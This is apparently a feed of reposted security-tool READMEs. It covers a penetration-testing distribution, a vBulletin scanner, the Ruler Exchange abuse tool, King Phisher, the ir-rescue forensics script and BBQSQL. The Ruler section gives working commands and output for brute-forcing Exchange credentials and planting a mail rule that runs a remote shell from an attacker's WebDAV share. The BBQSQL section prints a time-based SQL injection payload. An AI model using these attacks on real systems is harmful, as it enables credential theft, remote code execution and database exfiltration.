[I] Found Redirect: 'https://adamcaudill.com/work/ -> 'https://adamcaudill.com/2008/12/08/working-late-again/'
[I] Found: 'https://adamcaudill.com/wp-content/'
[I] Found: 'https://adamcaudill.com/wp-includes/'
[I] Found Redirect: 'https://adamcaudill.com/x/ -> 'https://adamcaudill.com/2007/01/25/xceed-datagrid-for-wpf-released-free/'
[I] Found Redirect: 'https://adamcaudill.com/xml/ -> 'https://adamcaudill.com/2006/09/03/xml-notepad-2006/'
[I] Found Redirect: 'https://adamcaudill.com/y/ -> 'https://adamcaudill.com/2012/07/12/yahoos-associated-content-hacked/'
[I] Found Redirect: 'https://adamcaudill.com/yahoo/ -> 'https://adamcaudill.com/2012/07/12/yahoos-associated-content-hacked/'
[I] Found Redirect: 'https://adamcaudill.com/z/ -> 'https://adamcaudill.com/2004/12/18/zipsight-2004-1-released/'
[I] Found Redirect: 'https://adamcaudill.com/zip/ -> 'https://adamcaudill.com/2004/12/18/zipsight-2004-1-released/'
[I] Found Redirect: 'https://adamcaudill.com/zips/ -> 'https://adamcaudill.com/2004/12/18/zipsight-2004-1-released/'

[I] Meta Generator: WordPress 4.6.1
Scan complete.

About The Output
You'll notice that most lines begin with a letter in a bracket, this is to tell you how to interpret the result at a glance. There are four possible values:
  • [I] - This indicates that the line is informational, and doesn't necessarily indicate a security issue.
  • [W] - This is a Warning, which means that it could be an issue, or could expose useful information. These need to be evaluated on a case-by-case basis to determine the impact.
  • [V] - This is a Vulnerability, it indicates an issue that is known to be an issue, and needs to be addressed.
  • [E] - This indicates that an error occurred, sometimes these are serious and indicate an issue with your environment, the target server, or the application. In other cases, they may just be informational to let you know that something didn't go as planned.
The indicator used may change over time based on new research or better detection techniques. In all cases, results should be carefully evaluated within the context of the application, how it's used, and what threats apply. The indicator is guidance, a hint if you will, it's up to you to determine the real impact.


DracOS - Lightweight and Powerful Penetration Testing OS

$
0
0

Dracos Linux ( www.dracos-linux.org ) is the Linux operating system from Indonesian , open source is built based on the Linux From Scratch under the protection of the GNU General Public License v3.0. This operating system is one variant of Linux distributions, which is used to perform security testing (penetration testing). Dracos linux in Arm by hundreds hydraulic pentest, forensics and reverse engineering. Does not use a GUI-based tools-tools and just have the software using the CLI (command line interface) to perform its operations. Now Dracos currently already up to version 2.0 with the code name "Leak".

Screenshot

Teaser

As the target of development

Education
Dracos Linux is purposed as an educational,especially to recognize the operation system of linux and we respect ethical hacking.

Build from source
had always been built from codes instead of installer,this will stimulate users in indonesia to stay creative and to build the spirit of opensource.

Repository
even though proportionally based on codes,Dracos Linux still intends to construct the repository to build up the processes Like Venomizer

Heavy Control
We need to recognize this operating system Very Dificult Because Dracos in build from source code, thus forcing us to compile when installing a package or software, which of course will arise the possibility of system failure and other system vulnerabilities.

Always from terminal
None of every singel tool that was installed inside the OS uses GUI. CLI will always consider to particularly openbox to ease the users in need of multi terminal in applying Penetration Testing

Penetration Tools List
Link : http://dev.dracos-linux.org/projects/dracoslinux/wiki/Penetration_Testing
  • Information Gathering
  • Vulnerability Assessment
  • Web Attack
  • Exploitation Testing
  • Privilege Escalation
  • Password Attack
  • Social Engineering
  • Man In The Middle Attack
  • Stress Testing
  • Wireless Attack
  • Maintaining Access
  • Forensics Tools
  • Reverse Engineering
  • Malware Analysis
  • Covering Track

VBScan 0.1.7 - Black Box vBulletin Vulnerability Scanner

$
0
0

OWASP VBScan (short for [VB]ulletin Vulnerability [Scan]ner) is an opensource project in perl programming language to detect VBulletin CMS vulnerabilities and analyses them .

Why OWASP VBScan ?
If you want to do a penetration test on a vBulletin Forum, OWASP VBScan is Your best shot ever! This Project is being faster than ever and updated with the latest VBulletin vulnerabilities.

usage :
./vbscan.pl <target>
./vbscan.pl http://target.com/vbulletin

OWASP VBScan 0.1.7 introduction (Youtube)


What’s New in Version 0.1.7 [Dennis Ritchie]
OWASP VBScan 0.1.7 [Larry Wall]
  • Updated exploit database
  • Compatible With Windows [Linux,OSX,Windows]
  • Added Full Path Disclosure (FPD) module
  • Added firewall detect/bypass module
  • Optimized version checker module engine [#12 issue]
  • Upgrade config finder module
  • Random user agent module set as default setting
  • Added HTML Report


Ruler - A Tool To Abuse Exchange Services

$
0
0

Ruler is a tool that allows you to interact with Exchange servers through the MAPI/HTTP protocol. The main aim is abuse the client-side Outlook mail rules as described in: Silentbreak blog

Silentbreak did a great job with this attack and it has served us well. The only downside has been that it takes time to get setup. Cloning a mailbox into a new instance of Outlook can be time consuming. And then there is all the clicking it takes to get a mailrule created. Wouldn't the command line version of this attack be great? And that is how Ruler was born.

The full low-down on how Ruler was implemented and some background regarding MAPI can be found in this blog post: SensePost blog

For a demo of it in action: Ruler on YouTube

What does it do?
Ruler has multiple functions and more are planned. These include
  • Enumerate valid users
  • View currently configured mail rules
  • Create new malicious mail rules
  • Delete mail rules
Ruler attempts to be semi-smart when it comes to interacting with Exchange and uses the Autodiscover service (just as your Outlook client would) to discover the relevant information.

Getting the Code
Ruler is written in Go so you'll need to have Go setup to run/build the project The first step as always is to clone the repo :
git clone https://github.com/sensepost/ruler.git
Or you can get it through Go:
go get github.com/sensepost/ruler
You can now run the app through go run if you wish:
go run ruler.go -h
Or build it (the prefered option):
go build

Interacting with Exchange
It is important to note that for now this only works with the newer MAPI/HTTP used for OutlookAnywhere. The older RPC/HTTP which MAPI replaces is not supported and may possibly not be supported.
As mentioned before there are multiple functions to Ruler. In most cases you'll want to first find a set of valid credentials. Do this however you wish, Phishing, Wifi+Mana or brute-force.

Brute-force for credentials
If you go the brute-force route, Ruler is your friend. It has a built-in brute-forcer which does a semi-decent job of finding creds.
./ruler -domain targetdomain.com -brute -usernames /path/to/user.txt -passwords /path/to/passwords.txt
You should see your brute-force in action:
./ruler -domain evilcorp.ninja -brute -usernames ~/users.txt -passwords ~/passwords.txt -delay 0 -v -insecure

[*] Starting bruteforce
[x] Failed: cindy.baker:P@ssw0rd
[x] Failed: henry.hammond:P@ssw0rd
[x] Failed: john.ford:P@ssw0rd
[x] Failed: cindy.baker:August2016
[x] Failed: henry.hammond:August2016
[+] Success: john.ford:August2016
[*] Multiple attempts. To prevent lockout - delaying for 0 minutes.
[x] Failed: cindy.baker:Evilcorp@2016
[x] Failed: henry.hammond:Evilcorp@2016
[x] Failed: cindy.baker:3V1lc0rp
[x] Failed: henry.hammond:3V1lc0rp
[*] Multiple attempts. To prevent lockout - delaying for 0 minutes.
[x] Failed: henry.hammond:Password1
[+] Success: cindy.baker:Password1
[x] Failed: henry.hammond:Password!2016
[*] Multiple attempts. To prevent lockout - delaying for 0 minutes.
[x] Failed: henry.hammond:SensePost1
[x] Failed: henry.hammond:Lekker
[*] Multiple attempts. To prevent lockout - delaying for 0 minutes.
[x] Failed: henry.hammond:Eish
There are a few other flags that work with -brute These are:
  • -stop //stop on the first valid username:password combo
  • -delay //how long to wait between multiple password guesses
  • -attempts //how many attempts before we delay (attempts per user)
  • -insecure //if the Exchange server has a bad SSL cerificate
  • -v //be verbose and show failed attempts

The autodiscover service
While Ruler makes a best effort to "autodiscover" the necessary settings, you may still run into instances of it failing. The common causes are:
  • autodiscover deployed over http and not https (we default to https as this is more common)
  • No autodiscover DNS record
  • Authentication failing
If you encounter an Exchange server where the Autodiscover service is failing, you can manually specify the Autodiscover URL:
./ruler -url http://autodiscover.somedomain.com/autodiscover/autodiscover.xml
If you run into issues with Authentication (and you know the creds are correct), you can try and force the use of basic authentication with -basic

Display existing rules / verify account
Once you have a set of credentials you can target the user's mailbox. Here you'll need to know their email address (address book searching is in the planned extension).
./ruler -domain targetdomain.com -email user@targetdomain.com -user username -pass password -display
Output:
./ruler -domain evilcorp.ninja -user john.ford -pass August2016 -email john.ford@evilcorp.ninja -display -insecure

[*] Retrieving MAPI info
[*] Doing Autodiscover for domain
[+] MAPI URL found: https://mail.evilcorp.ninja/mapi/emsmdb/?MailboxId=7bb476d4-8e1f-4a57-bbd8-beac7912fb77@evilcorp.ninja
[+] User DN: /o=Evilcorp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=beb65f5c92f74b868c138f7bcec7bfb8-John Ford
[*] Got Context, Doing ROPLogin
[*] And we are authenticated
[+] Mailbox GUID: [251 102 208 159 53 202 228 77 184 67 76 15 228 47 61 223]
[*] Openning the Inbox
[+] Retrieving Rules
[+] Found 0 rules

Delete existing rules (clean up after yourself)
To delete rules, use the ruleId displayed next to the rule name (000000df1)
./ruler -domain targetdomain.com -email user@targetdomain.com -user username -pass password -delete 000000df1

Popping a shell
Now the fun part. Your initial setup is the same as outlined in the Silentbreak blog , setup your webdav server to host your payload.
To create the new rule user Ruler and:
./ruler -domain targetdomain.com -email user@targetdomain.com -user username -pass password -loc "\\\\yourserver\\webdav\\shell.bat" -trigger "pop a shell" -rule maliciousrule
The various parts:
  • -loc this is the location of your remote shell note the double slashes (or c:/Windows/system32/calc.exe)
  • -trigger the string within the subject you want to trigger the rule
  • -rule a name for your rule
Output:
[*] Retrieving MAPI info
[*] Doing Autodiscover for domain
[+] MAPI URL found: https://mail.evilcorp.ninja/mapi/emsmdb/?MailboxId=7bb476d4-8e1f-4a57-bbd8-beac7912fb77@evilcorp.ninja
[+] User DN: /o=Evilcorp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=beb65f5c92f74b868c138f7bcec7bfb8-John Ford
[*] Got Context, Doing ROPLogin
[*] And we are authenticated
[+] Mailbox GUID: [251 102 208 159 53 202 228 77 184 67 76 15 228 47 61 223]
[*] Openning the Inbox
[*] Adding Rule
[*] Rule Added. Fetching list of rules...
[+] Found 1 rules
Rule: shell RuleID: 01000000127380b1
You should now be able to send an email to your target with the trigger string in the subject line. From testing the mailrule is synchronised across nearly instantaniously, so in most cases you should be able to get a shell almost immediatly, assuming outlook is open and connected.
Enjoy your shell and don't forget to clean-up after yourself by deleting the rule (or leave it for persistence).


WP Security Audit Log - The Ultimate WordPress Audit Trail Plugin

$
0
0
The WP Security Audit Log plugin is a WordPress plugin that keeps an audit trail of everything that happens on your WordPress and WordPress multisite network. There are several WordPress audit trail / log plugins available, tough we chose to review WP Security Audit Log because it is has the most comprehensive logging and the best coverage of WordPress changes. It is also the most complete and mature WordPress audit trail solution.

Why Do You Need a WordPress Audit Trail?

First things first, why would you need a WordPress audit trail? A WordPress audit trail is a record, or better a log of every change that happened on your WordPress, similar to Syslog on Linux/Unix or the Events Viewer on Microsoft Windows. The WordPress audit trail can be used to:
  • Keep track of users’ productivity (ideal for multi-users setups),
  • Ease the troubleshooting in case something is wrong with the WordPress website,
  • Identify any possible malicious WordPress hack attacks before they actually happen,
  • Catch hackers red handed if they manage to hack into your WordPress,
  • Do all the forensics to track back which security hole the hackers exploited so you can close it down.

The above are just a few reasons mostly related to WordPress security of why you would need to keep a record of all the changes that happen on your WordPress. There are many other reasons related to business and operations, for example to ensure that your business WordPress website meets today’s stringent regulatory compliance regulations, in case you’re using WordPress for your business website.

Getting Started with the WP Security Audit Log Plugin

Install the WP Security Audit Log plugin from your Plugins page in your WordPress dashboard and activate it. By default the WP Security Audit Log will keep track of all these changes on your WordPress. You can also watch the short video below for a quick introduction.


Comprehensive Tracking of WordPress Changes

The comprehensive WordPress audit trail is what sets this plugin apart from the competition. For example while the other audit log plugins simply record that a post was updated, WP Security Audit Log tells you what exactly changed in the post. For example in the screenshot below we can see that the plugin kept a record when all of the below changes happened:

  • User opened the post in the editor,
  • Author of the post was changed,
  • Title of the post was changed,
  • URL of the post was changed



In case the content is changed the alert reporting the change in the plugin will allow you to see the revision of changes, as per the below screenshot.


Fully Configurable WordPress Audit Trail Plugin

WP Security Audit Log is also a fully configurable WordPress plugin, therefore it allows you to customize the plugin’s functionality to suite your own needs. Below is an overview of what you can configure.

Enable / Disable Alerts

The plugin keeps a record of all these WordPress changes. If for example you do not want to keep a record each time a logged in user, or a website visitor requests a non-existing page (HTTP 404 Error) navigate to the Enable/Disable Alerts> System Activity tab and disable Alert 6007 as shown in the below screenshot.


Browse through the different categories to find the change you would like to disable or enable back.

Generic Plugin Settings

You can also configure things such as:
  • Support for WAFs and reverse proxy (more information on this option),
  • Specify who can access the plugin’s settings and manage it,
  • Enable logging, developer options,
  • And much more.

Audit Trail Settings

In the Audit Log / Trail settings you can configure settings related to the WordPress audit trail, such as:
  • Automatic pruning of alerts from the audit trail,
  • Who can view the WordPress audit trial,
  • The time zone the plugin uses to timestamp the WordPress changes etc.

Exclude Objects from Monitoring

You can also exclude the below from being recorded in the WordPress audit trial:
  • Specific users or roles,
  • Custom fields,
  • IP addresses.

Beefing Up the WordPress Audit Trail

Keeping an audit trail of all the changes that happen is a WordPress security best practice but who has the time to check the log every few minutes? The good news is that you do not need to. WP Security Audit Log has a number of premium add-ons so you can:
  • Configure email notifications so you are alerted instantly via email of important changes on your WordPress,
  • Do free text based searches so you can find that specific change when troubleshooting an issue,
  • Generate reports for managers, to monitor users’ productivity and for regulatory compliance reasons,
  • See who is logged in and block multiple sessions from the same username.

 You can add all of the above functionality to get the best out of your WordPress audit trail solution by purchasing the All Add-Ons bundle. Prices start from as low as $89.


King Phisher 1.5.2 - Phishing Campaign Toolkit

$
0
0

King Phisher is a tool for testing and promoting user awareness by simulating real world phishing attacks. It features an easy to use, yet very flexible architecture allowing full control over both emails and server content. King Phisher can be used to run campaigns ranging from simple awareness training to more complicated scenarios in which user aware content is served for harvesting credentials.
King Phisher is only to be used for legal applications when the explicit permission of the targeted organization has been obtained.
Get the latest stable version from the GitHub Releases Page or use git to checkout the project from source.
For instructions on how to install, please see the INSTALL.md file. After installing, for instructions on how to get started please see the wiki .

Feature Overview
  • Run multiple phishing campaigns simultaneously
  • Send email with embedded images for a more legitimate appearance
  • Optional Two-Factor authentication
  • Credential harvesting from landing pages
  • SMS alerts regarding campaign status
  • Web page cloning capabilities
  • Integrated Sender Policy Framework (SPF) checks
  • Geo location of phishing visitors
  • Send email with calendar invitations

Plugins
Both the client and server can be extended with functionality provided by plugins. A small number of plugins are packaged with King Phisher and additional ones are available in the Plugins repository .

Template Files
Template files for both messages and server pages can be found in the separate King Phisher Templates repository . Any contributions regarding templates should also be submitted via a pull request to the templates repository.

Message Template Variables
The client message templates are formatted using the Jinja2 templating engine and support a number of variables. These are included here as a reference, check the templates wiki page for comprehensive documentation.
Variable Name Variable Value
client.company_name The target's company name
client.email_address The target's email address
client.first_name The target's first name
client.last_name The target's last name
client.message_id The unique tracking identifier (this is the same as uid)
sender.email The email address in the "Source Email (MIME)" field
sender.friendly_alias The value of the "Friendly Alias" field
sender.reply_to The value of the "Reply To" field
url.tracking_dot URL of an image used for message tracking
url.webserver Phishing server URL with the uid parameter
url.webserver_raw Phishing server URL without any parameters
tracking_dot_image_tag The tracking image in a preformatted <img /> tag
uid The unique tracking identifier (this is the same as client.message_id)
The uid is the most important, and must be present in links that the messages contain.

Documentation
Documentation for users of the application is provided on the project's wiki page . This includes steps to help new users get started with their first campaigns. Additional technical documentation intended for developers is kept seperate as outlined in section below.

Code Documentation
King Phisher uses Sphinx for internal technical documentation. This documentation can be generated from source with the command sphinx-build -b html docs/source docs/html . The latest documentation is kindly hosted on ReadTheDocs at king-phisher.readthedocs.io .

License
King Phisher is released under the BSD 3-clause license, for more details see the LICENSE file.

Credits
Special Thanks (QA / Beta Testing):
  • Jake Garlie - jagar
  • Jeremy Schoeneman - Shad0wman
  • Ken Smith - p4tchw0rk
  • Brianna Whittaker
King Phisher Development Team:



ir-rescue - A Windows Batch Script To Comprehensively Collect Host Forensic Data

$
0
0

ir-rescue is a lightweight Windows Batch script that collects a myriad of forensic data from 32-bit and 64-bit Windows systems while respecting the order of volatility and artifacts that are changed with the execution of the script ( e.g. , prefetch files). It is intended for incident response use at different stages in the analysis and investigation process. It can be set to perform comprehensive collections of data for triage purposes, as well as customized acquisitions of specific types of data. The tool represents an effort to streamline host data collection, regardless of investigation needs, and to rely less on on-site support when remote access or live analysis is unavailable.

ir-rescue makes use of built-in Windows commands and well-known third party utilities from Sysinternals and NirSoft, for instance, some being open-source. It is designed to group data collections according to data type. For example, all data that relates to networking, such as open file shares and Transmission Control Protocol (TCP) connections, is grouped together, while running processes, services and tasks are gathered under malware. The tool is also purposefully designed not to make use of PowerShell and Windows Management Instrumentation (WMI) in order to make it transversally compatible. The acquisition of data types and other general options are specified in a simple configuration file . It should be noted that the script launches a great number of commands and tools, thereby leaving a considerable footprint ( e.g. , prefetch files) on the system. The runtime varies depending on the computation power and configurations set, though it usually finishes within a maximum of one hour if configured to run fully.

ir-rescue has been written for incident response and forensic analysts, as well as for security practitioners alike. It can thus be used for leveraging the already bundled tools and commands during forensic activities.

Dependencies and Usage
ir-rescue relies on a number of third-party utilities for gathering specific data from hosts. The versions of the tools are listed in the next section and are provided with the package as is and, therefore, their licenses and user agreements must be accepted before running ir-rescue . Their descriptions and organization in the folder tree structure are given below, with both 32-bit and 64-bit versions of the tools included adjacently, if applicable:
  • tools-win\ : third-party tools folder:
    • ascii\ : text ASCII art files in *.txt format;
    • cfg\ : configuration files:
      • ir-rescue.conf : main configuration file;
      • nonrecursive-(acl|iconsext|md5deep).txt : accesschk[64].exe , iconsext.exe and md5deep[64].exe non-recursive locations;
      • nonrecursive.txt : non-recursive locations for multiple tools;
      • recursive-(acl|iconsext|md5deep).txt : accesschk[64].exe , iconsext.exe and md5deep[64].exe recursive locations;
      • recursive.txt : recursive locations for multiple tools;
    • cygwin\ : Cygwin tools and Dynamic Linked Libraries (DLLs):
      • tr.exe : used to cut out non-printable characters;
      • grep.exe : used to filter date with regular expressions;
    • evt\ : Windows events tools:
      • psloglist.exe ;
    • fs\ : filesystem tools:
      • tsk\ : The Sleuth Kit (TSK) tools and DLLs:
        • fls.exe : walks the Master File Table (MFT);
      • AlternateStreamView[64].exe : lists Alternate Data Streams (ADSs);
      • ExtractUsnJrnl[64].exe : extracts the C:\$Extend\$UsnJrnl (NTFS journal) file without the sparsed zeroes;
      • md5deep[64].exe : computes Message Digest 5 (MD5) hash values;
      • ntfsinfo[64].exe : shows information about NTFS;
      • RawCopy[64].exe : extracts data at the NTFS level;
    • mal\ : malware tools:
      • autoruns[64].exe : dumps autorun locations to the autoruns binary format;
      • autorunsc[64].exe : lists autorun locations;
      • densityscout[64].exe : computes an entropy-based measure for detecting packers and encryptors;
      • DriverView[64].exe : lists loaded kernel drivers;
      • handle[64].exe : lists object handles;
      • iconsext.exe : extracts icons from Portable Executables (PEs);
      • Listdlls[64].exe : lists loaded DLLs;
      • pslist[64].exe : lists running processes;
      • PsService[64].exe : lists services;
      • sigcheck[64].exe : checks digital signatures within PEs;
      • WinPrefetchView[64].exe : displays the contents of prefetch files;
    • mem\ : memory tools:
      • winpmem_1.6.2.exe : dumps the memory;
    • misc\ : miscellaneous tools:
      • LastActivityView.exe : displays a timeline of recent system activity;
      • OfficeIns[64].exe : lists installed Microsoft Office add-ins;
      • USBDeview[64].exe : lists previously and currently connected USB devices;
    • net\ : network tools:
      • psfile[64].exe : lists files opened remotely;
      • tcpvcon.exe : lists TCP connections and ports and UDP ports;
    • sys\ : system tools:
      • accesschk[64].exe : lists user permissions of the specified locations;
      • logonsessions[64].exe : lists currently active logon sessions;
      • PsGetsid[64].exe : translates between Security Identifiers (SIDs) and user names and vice-versa;
      • Psinfo[64].exe : displays system software and hardware information;
      • psloggedon[64].exe : lists locally logged on users that have their profile in the registry;
    • web\ : web tools:
      • BrowsingHistoryView[64].exe : lists browsing history from multiple browsers;
      • ChromeCacheView.exe : displays the Google Chrome cache;
      • IECacheView.exe : displays the Internet Explorer cache;
      • MozillaCacheView.exe : displays the Mozilla Firefox cache;
    • yara\ : YARA tools and signatures:
      • rules\ : *.yar rules folder;
      • yara(32|64).exe : YARA main executable;
      • yarac(32|64).exe : YARA rules compiler;
    • 7za.exe : compresses files and folders;
    • screenshot-cmd.exe : takes screenshots;
    • sdelete(32|64).exe : securely deletes files and folders;
  • data\ : data folder created during runtime with the collected data:
    • <HOSTNAME>-<DATE>\ : <DATE> follows the YYYYMMDD format:
      • ir-rescue : folder for ir-rescue -related data
        • ir-rescue.log : verbose log file of status messages;
        • screenshot-# : numbered screenshots;
      • folders named according to the data type set for collection.
ir-rescue needs to be run under a command line console with administrator rights and requires no arguments. It makes use of a configuration file to set desired options. As such, executing the script simply needs the issuing of the Batch file as follows:
  • ir-rescue.bat
Some tools that perform recursive searches or scans are set only to recurse on specific folders. This makes the data collection more targeted while taking into account run time performance as the folders specified are likely locations for analysis due to extensive use by malware. By default, the locations set in tools-win\cfg\recursive.txt for recursive search are the following:
  • C:\Users ;
  • C:\ProgramData ;
  • C:\Windows\Temp ;
  • D: .
In turn, the locations also set in tools-win\cfg\nonrecursive.txt for non-recursive search are the following:
  • C:\Windows\system(32|64) ;
  • C:\Windows\system(32|64)\drivers .
Some of the tools have dedicated files with specific locations to and not to recurse. These are also kept under tools-win\cfg\ and are named recursive-<tool>.txt and nonrecursive-<tool>.txt , with <tool> being changed to the tool name. All these files can be changed with the desired locations for analysis. Each file must have one location as full path per line.
During runtime, all characters printed to the Standard Output ( STDOUT ) and Standard Error ( STDERR ) channels are logged to UTF-8 encoded text files. This means that the output of tools are stored in corresponding folders and text files. Status ASCII messages are still printed to the console in order to check the execution progress. After collection, data can be compressed into a password-protected archive and accordingly deleted afterwards, if set to do so. The password of the resulting encrypted archive is, by default, "infected" without quotes.

Configuration File
The configuration file is composed of simple binary directives ( true or false ) for the general behaviour of the script, for which data types to collect and for which advanced tools to run. Lines preceded by a pound sign are considered comments. These are used to briefly describe what each option does, to enumerate folders, files or registry keys important to provide some context, as well as to list relevant tools.
Essentially, data is grouped into the types given by the following directives:
  • memory : this options sets the collection of the memory;
  • registry : this option sets the collection of system and user registry;
  • events : this option sets the collection of Windows event logs;
  • system : this option sets the collection of system-related information;
  • network : this option sets the collection of network data;
  • filesystem : this option sets the collection of data related with NTFS and files;
  • malware : this option sets the collection of system data that can be used to spot malware;
  • web : this option sets the collection of browsing history and caches;
  • misc : this option sets the collection of miscellaneous data that does not quite fit other options.
On the one hand, the usage of advanced tools set by the sigcheck , density , iconsext and yara options is independent of the configurations made to the collection of data types. On the other hand, directives under the respective main options of the data types are tied to them, meaning that they are disregarded if the main ones are set to false . For example, memory-dump=true , the option that instructs the tool to dump the Random Access Memory (RAM), is ignored if memory=false . The same goes for the <option>-all option, which sets all options of a certain data type to true for convenience. All options not found or commented in the configuration file are set to false during runtime.
Note that the iconsext option is useful to look for binaries compiled with unusual frameworks that set PE icons ( e.g. , Python). Moreover, YARA rules need to have a *.yar file extension and to be put in the tools-win\yara\rules\ folder. The output of all advanced tools are stored under the malware resulting folder.
Below is a minimal example of the configuration file setting the collection of the RAM, system registry and Windows event logs in text format, as well as the compression of the final data folder with password "infected" (without quotes).
# ir-rescue-win configuration file
# accepted values: 'true' or 'false' (exclusive)

# general
killself=false
sdelete=false
zip=true
zpassword=infected
ascii=false

# modules
memory=true
registry=true
events=true

# memory
memory-dump=true

# registry
registry-system=true

# events
events-txt=true

Third-Party Tool List and References
  • Sysinternals : the Sysinternals tools have been mostly developed by Mark Russinovich and are free to use under the Sysinternals Software License Terms . The full list of tools used by ir-rescue is accesschk[64].exe (v6.02), autoruns[64].exe (v13.62), autorunsc[64].exe (v13.61), handle[64].exe (v4.1), Listdlls[64].exe (v3.2), logonsessions[64].exe (v1.4), ntfsinfo[64].exe (v1.2), psfile[64].exe (v1.03), PsGetsid[64].exe (v1.45), Psinfo[64].exe (v1.78), pslist[64].exe (v1.4), psloggedon[64].exe (v1.35), psloglist.exe (v2.71), PsService[64].exe (v2.25), sdelete(32|64).exe (v2.0), sigcheck[64].exe (v2.52), and tcpvcon.exe (v3.01).
  • NirSoft : the NirSoft suite of tools are developed by Nir Sofer and are released as freeware utilities. The full list of tools used by ir-rescue is AlternateStreamView[64].exe (v1.51), BrowsingHistoryView[64].exe (v1.86), ChromeCacheView.exe (v1.67), DriverView[64].exe (v1.47), iconsext.exe (v1.47), IECacheView.exe (v1.58), LastActivityView.exe (v1.16), MozillaCacheView.exe (v1.69), OfficeIns[64].exe (v1.20), USBDeview[64].exe (v2.61), and WinPrefetchView[64].exe (v1.35).
  • Cygwin : the Cygwin project is open-source and is used by ir-rescue only to filter outputs with the tr.exe (v8.24-3) and grep.exe (v2.21) utilities, using the 32-bit DLLs.
  • The Sleuth Kit (TSK) (v4.3.0): the TSK is an open-source forensic tool to analyze hard drives at the file system level, used by ir-rescue only to walk the MFT with fls.exe .
  • 7za.exe (v9.20): 7-Zip is an open-source compression utility developed by Igor Pavlov and release under the GNU LGPL license.
  • winpmem_1.6.2 (v1.6.2): the Pmem suite is part of the open-source Recall memory analysis framework, used by ir-rescue to dump the memory.
  • md5deep[64].exe (v4.4): the md5deep utility is open-source and is maintained by Jesse Kornblum.
  • RawCopy[64].exe (v1.0.0.15) and ExtractUsnJrnl[64].exe (v1.0.0.3): RawCopy (essentially, a combination of ifind and icat from TSK) and ExtractUsnJrnl are open-source NTFS utilities to extract data and special files developed by Joakim Schicht.
  • densityscout[64].exe (build 45): the DensityScout utility to compute entropy was written by Christian Wojner and is released under the ISC license.
  • YARA (v3.5.0): YARA is an open-source signature scheme for malware that can be used to perform scans of specific indicators.
  • screenshot-cmd.exe : screenshot-cmd is an open-source utility released under the BSD-3 license to take screenshots.


BBQSQL - A Blind SQL Injection Exploitation Tool

$
0
0

Blind SQL injection can be a pain to exploit. When the available tools work they work well, but when they don't you have to write something custom. This is time-consuming and tedious. BBQSQL can help you address those issues.
BBQSQL is a blind SQL injection framework written in Python. It is extremely useful when attacking tricky SQL injection vulnerabilities. BBQSQL is also a semi-automatic tool, allowing quite a bit of customization for those hard to trigger SQL injection findings. The tool is built to be database agnostic and is extremely versatile. It also has an intuitive UI to make setting up attacks much easier. Python gevent is also implemented, making BBQSQL extremely fast.

Overview of Readme
We tried to write the tool in such a way that it would be very self explanatory when setting up an attack in the UI. However, for sake of thoroughness we have included a detailed Readme that should provide you additional insight on the specifics of each configuration option. One thing to note is that every configuration option in the UI has a description associated with it, so if you do choose to fire up the tool without reading this page you should be able to hack your way through an attack.

High Level Usage
Similar to other SQL injection tools you provide certain request information.
Must provide the usual information:
  • URL
  • HTTP Method
  • Headers
  • Cookies
  • Encoding methods
  • Redirect behavior
  • Files
  • HTTP Auth
  • Proxies
Then specify where the injection is going and what syntax we are injecting. Read on for details.

Install
This should be straight forward, but what ever is. Try running:
sudo pip install bbqsql
If that doesn't work for you, you can install from source. The tool requires gevent , requests .

BBQSQL Options
In the menu you will see a place for BBQSQL options. Here you specify the following options:

query
This is described in greater detail below query syntax overview .

csv_output_file
The name of a file to output the results to. Leave this blank if you dont want output to a file.

technique
BBQSQL utilizes two techniques when conducting a blind SQL injection attack. The first and default technique used is binary_search. See Wikipedia for more information.
The second technique you can use is frequency_search. Frequency searching is based on an analysis of the English language to determine the frequency in which a letter will occur. This search method is very fast against non-entropic data, but can be slow against non-english or obfuscated data.
You can specify either binary_search or frequency_search as the value for this parameter.

comparison_attr
This specifies the type of SQL injection you have discovered. Here you can set which attribute of the http response bbqsql should look at to determine true/false.
You can specify: status_code , url , time , size , text , content , encoding , cookies , headers , or history
If you have identified sql injection that results in a different server status code set 'status_code' here. If the cookie is different set 'cookie'. If the response size is different set 'size'. You get the jist.

concurrency
Concurrency is based on the gevent library in Python. Functionally, it appears to act like threading but the specifics of how this works can be seen in our DefCon talk here [insert link here]. This setting controls the amount of concurrency to run the attack with. This is useful for throttling the requests and speeding up attack times. For really high performance web-servers such as nginx, we have been able to set the concurrency to 75. By default this is set to '30'.

Query Syntax Overview
If you run into a SQL injection vulnerability that has some weird quirks (such as certain characters can't be included or functions like ASCII/CHAR do not work), you have probably found yourself writing some sort of script with your custom injection syntax. BBQSQL takes out the scripting part and provides a way for you to paste in your custom query syntax and exploit with ease.
The query input is where you will construct your query used to exfiltrate information from the database. The assumption is that you already have identified SQL injection on a vulnerable parameter, and have tested a query that is successful.
Below is an example query you can use to construct your query.
In this example, the attacker is looking to select the database version:
vulnerable_parameter'; if(ASCII(SUBSTRING((SELECT @@version LIMIT 1 OFFSET ${row_index}) , ${char_index} ,1))) ${comparator:>}ASCII(${char_val}) WAITFOR DELAY '0\:0\:0${sleep}'; --
The query syntax is based around placeholders which tell BBQSQL how to execute the attack.
You need to provide the following placeholders of information in order for the attack to work. Once you put these in your query, bbqSQL will do the rest:
${row_index} : This tells bbqSQL to iterate rows here. Since we are using LIMIT we can view n number of row depending on ${row_index} value.
${char_index} : This tells bbqSQL which character from the subselect to query.
${char_val} : This tells bbqSQL where to compare the results from the subselect to validate the result.
${comparator} : This is how you tell BBQSQL to compare the responses to determine if the result is true or not. By default, the > symbol is used.
${sleep} : This is optional but tells bbqSQL where to insert the number of seconds to sleep when performing time based SQL injection.
Not all of these place holders are required. For example, if you have discovered semi-blind boolean based SQL injection you can omit the ${sleep} parameter.

HTTP Parameters
BBQSQL has many http parameters you can configure when setting up your attack. At a minimum you must provide the URL, where you want the injection query to run, and the method. The following options can be set:
  • files
  • headers
  • cookies
  • url
  • allow_redirects
  • proxies
  • data
  • method
  • auth
You specify where you want the injection query to be inserted by using the template ${injection} . Without the injection template the tool wont know where to insert the query.

files
Provide files to be sent with the request. Set the value to the path and BBQSQL will take care of opening/including the file.

headers
HTTP headers to be sent with the requests. This can be a string or a dictionary. For example:
{"User-Agent":"bbqsql"} or "User-Agent: bbqsql"

cookies
A dictionary or string of cookies to be sent with the request. For example:
{"PHPSESSIONID":"123123"} or PHPSESSIONID=123123;JSESSIONID=foobar

url
Specify a url that the requests should be sent to.

allow_redirects
This is a boolean that determines wether http redirects will be follwed when making requests.

proxies
Specify an http proxy to be used for the request as a dictionary. For example:
